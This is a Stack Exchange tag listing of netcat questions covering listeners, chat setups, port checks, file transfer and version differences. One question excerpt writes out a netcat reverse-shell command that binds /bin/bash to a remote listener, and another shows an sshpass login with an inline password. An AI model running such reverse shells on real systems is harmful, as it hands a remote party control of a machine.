The Stack Overflow podcast is back! Listen to an interview with our new CEO.

Questions tagged [netcat]

(or `nc`), a utility that is used for just about anything involving TCP, UDP, or UNIX-domain sockets. It can open TCP connections, send UDP packets, listen on arbitrary TCP and UDP ports, do port scanning.

Filter by
Sorted by
Tagged with
0
votes
1answer
20 views

How do I create a TCP listener with netcat and put it in the background?

I’m using nc -l to create a listener socket, but then it just.....listens.....and I can’t issue any further commands. How do I put it in the background so I can maintain the listener and keep ...
0
votes
0answers
19 views

netcat-openbsd hangs

I'm using netcat-openbsd in both Ubuntu 16.04 and 18.04, and in trouble because netcat behaves differently between them. Command $ echo "message" | nc localhost 8377 By the command above, I expect ...
0
votes
1answer
46 views

Unable to connect to computer from outside LAN

I opened two terminal windows, and typed nc -vv -lp 9999 in the first one andnc -vv $(dig +short myip.opendns.com @resolver1.opendns.com) 9999 in the second. However, the two netcats didn't connect, ...
1
vote
0answers
14 views

Connecting to tcp client programs (sockets) together using netcat

I have some device which is on the network layer acting as TCP client. And I have some programm on the remote host (debian machine) which is acting simililary as a TCP client on the network layer. How ...
0
votes
1answer
50 views

netcat is unable to establish communication [closed]

I followed the standard procedure to connect via an access port, based on the following commands: nc -l -pxxxx nc <ip address> -pxxxx However when I enter the second command on another ...
0
votes
0answers
36 views

Connection refused using Google cloud virtual Linux machine

when I type nc ip address and the port I get this error: (UNKNOWN) [35.190.xx.xx] 5901 (?) : Con nection refused (the xx is for you won't have my vm) I allowed the port using sudo ufw allow port. I'm ...
0
votes
1answer
43 views

How do I send files with netcat using find?

I am trying to send a large number of json files via netcat, but I can't seem to get the find -exec combination right. I am in the directory with the json files and have tried the following: find -...
0
votes
0answers
25 views

Netcat -z does not return if host not found

I'm using Ubuntu 16.04.6 LTS. I'm trying to detect that a cable is connected to a camera serving an rtsp stream. My script is invoking nc -zv 10.0.0.3 554 and testing the return value (or stderr) ...
1
vote
2answers
26 views

seq with timer to netcat

I want to output sequential numbers every 100 ms into nc -lk. seq 1 100 | nc -lk 9999 does output the numbers to nc but it doesn't have the timer. Is there any way to do it using seq and sleep?
2
votes
1answer
264 views

How does this command work? (reverse shell)

There was a simple way to connect two systems and getting a shell using nc command as below. machine A to listen nc -nlvp 4444 machine B to connect nc 192.168.4.4 4444 -e /bin/bash However ...
0
votes
0answers
255 views

change filtered port to open

Basic Question: How do I change a port from filtered to open so that I can call nc to view data over a port? Information: I have a program that posts data to port 50000. I can run the program fine ...
0
votes
0answers
139 views

Sending a custom TCP packet

I am building a program that extracts transport layer data from packets, I want to test it but I couldn't find a way to specify TCP flags using netcat. Is there a tool that does this for Linux, or is ...
0
votes
1answer
685 views

shell script test a telnet connection

I'm Trying to make a scipt that checks if my own specific port is open and can be connected. I tried doing it by netcat by nc -vz localhost 25565 but this only tells me if the port is open. I need ...
0
votes
1answer
293 views

I can no longer install netcat6 for IPv6 support

I am trying to install netcat 6 to deal with ipv6. However, for some reason I can't install it. I tried to upgrade by sudo apt-get --only-upgrade install netcat That didn't work. I tried to install it ...
1
vote
1answer
101 views

Redirect output and save to remote server?

Is it at all possible to redirect some stdout and have the data saved to a file on a remote server? Below is a terrible example the definitely don't work... sudo tcpdump ... 2>&1 | ssh ... ...
2
votes
1answer
10k views

connect via netcat and send messages in bash script [duplicate]

When I am writing a bash script like the following: #!/bin/bash nc localhost [pseudoport] echo "test" it connects to the server but does not send the text "test". It works with #!/bin/bash echo ...
1
vote
1answer
414 views

Weird netcat (OpenBSD version) behavior

I am using Ubuntu server 16.04.3, it comes with the OpenBSD version of netcat. I have used the OpenBSD version of netcat before in Fedora, and in Fedora I can't use the -p option with the -l option, ...
0
votes
1answer
865 views

how to connect multiple clients on server

nc -l -vv -p 7795 This is the command for listen the port But i can connect only one client by using(nc localhost 7795) to the port,tell me how to connect multiple client to the port 7795
0
votes
1answer
1k views

How to send only data (ignore receiving) with nc command (equivalent to --send-only option on redhat)?

I am using command "echo "TEST" | nc localhost 1234 --send-only" on Redhat version to Only send data and ignoring received. I could not find --send-only equivalent option for nc command on ubuntu.
1
vote
1answer
353 views

How to select netcat-traditional in Ubuntu in a Dockerfile

I want to use netcat-traditional in Ubuntu but configure this in a Dockerfile, so obviously I cannot use the helpful command prompt triggered when running sudo update-alternatives --config nc How do ...
2
votes
1answer
570 views

run netcat on crontab

I have 2 systems 1: 192.168.0.31 2: 192.168.0.32 From system 1 terminal I executed below command tar -zcf - test | pv | nc -l -p 5555 -q 5 From system 2 terminal I executed below command nc 192....
1
vote
0answers
347 views

Netcat not working on linux server running VPN

Due to our very remote location and budget restraints my internet connection is limited to cellular 3G / EDGE. The service provider does not have an option for supplying me with a public IP, so we ...
0
votes
0answers
387 views

netcat chat client over the internet

I want to be able to use net cat for a chat client but I can only figure out how to do it over local network. For what I want to do I need to be able to let people connect over the internet. Say I am ...
0
votes
0answers
222 views

mawk: line 1: syntax error at or near =

I am making a simple chat using netcat, from this forum, and I have run into some trouble... When executing this script: #!/bin/bash sshpass -p \!Password ssh maliciouzzhd@10.0.0.1 "export DISPLAY=:...
3
votes
2answers
6k views

BASH: Read lines from netcat connection

I have a simple script which reads some lines from a connection initialized using netcat. A client can transmit some "commands". If the client write "exit" I like to close the connection. BUT: After ...
1
vote
2answers
1k views

How to configure a wireshark remote capture?

I have 2 machine M1 and M2 running on Debian 8.0 located in 2 remote network N1 and N2 M1 is capturing packets continuousl in N1 and has a known static IP. M2 is accessing the capture remotely from ...
3
votes
2answers
10k views

STDOUT and STDERR redirection for nc

I am trying to make a watchdog bash script which has to check if the port is open, based on the exit status, otherwise should start the daemon. Problem is I can't manage to avoid the script outputting ...
4
votes
2answers
7k views

How can I select default version of Netcat in ubuntu

When I checked netcat -h I found out that the -e and Version option is missing from my netcat. I use Ubuntu 15.10. After searching from forums I found out a way to know the version installed and the ...
0
votes
1answer
122 views

Lists… 0% error when installing netcat

I get this when I try and install netcat: root@server:~# sudo apt-get install nc -y root@server:~# lists... 0% root@server:~# Can anyone help?
-1
votes
2answers
3k views

How can we make use of netcat to determine if a machine is running a web, mail, or ssh server?

Without using the nmap program or ping, How can we make use of the netcat program (nc) to determine whether a particular machine is running web, mail or ssh services.
27
votes
1answer
15k views

How to build a simple chat using netcat?

I am currently working on a project and I have implemented a simple chat application using the netcat libraries. The client is prompted to enter port number and the command nc -l -p xxxx where xxxx ...
2
votes
1answer
8k views

How to kill nc -k -l without restart?

I have a script running behind the screen which has a command nc -k -l 12345. Is there any workarounds I could kill this daemon without restarting the machine? Ubuntu 14.04
1
vote
0answers
116 views

nc command: conflict between different Ubuntu machines

I am using Ubuntu 14.04. Then I have an Ubuntu 12.04 machine running on virtualbox. On the virtual box machine I listened on port 12345 using the command nc -l 12345 And on the host machine, I ...
5
votes
2answers
6k views

Is it possible to encrypt the communications via netcat?

I know that its possible to chat in linux terminal using netcat. I want to know whether it is possible to encrypt the netcat communications. I did chat by listening on PC-1 nc -l 1234 And ...
2
votes
1answer
2k views

Bash script that opens multiple netcat instances and exits them

I am trying to create a script that opens up multiple gnome-terminals and opens a netcat connection. After a couple seconds I would like the terminals to close. I am at a loss and I believe it can't ...
0
votes
1answer
2k views

Netcat not working (at least, not that I can tell)

Last night, I discovered that netcat, was behaving... well, oddly, to say the least. When invoked (I didn't use flags, just the basic "netcat [hostname] [port number]), it would do one of two things ...
3
votes
1answer
6k views

Trying to test a service is up using nc command

I'm trying to test if a service is up and running using nc. echo ruok | nc 127.0.0.1 5111 But I get this response: This is nc from the netcat-openbsd package. An alternative nc is available in the ...
4
votes
2answers
1k views

Secure Chat Tunnel

I Want to Create a Secure Chat connection and tunnel through Ubuntu terminal or something like netcat (nc -l 1234) but netcat is not encrypted.
2
votes
0answers
1k views

Why is netcat remote shell not returning any output on ubuntu 12.04?

I'm connecting to a server I have on my laptop, both are on the same vmnet and both systems are Ubuntu 12.04 LTS. In order to connect I use reverse shell from the web sever. First I start listening ...
36
votes
2answers
157k views

Sending a simple TCP message using Netcat

I am trying to use netcat to send a simple message over TCP, e.g. I want to send the digit 1. So I understood that I write the following in the terminal, after installing netcat netcat [ip-address] [...
30
votes
2answers
14k views

What are the differences between netcat-traditional and netcat-openbsd?

What (if any) are the significant differences between netcat-traditional and netcat-openbsd? I'm having trouble finding any relative information. Anybody familiar that can offer some insight?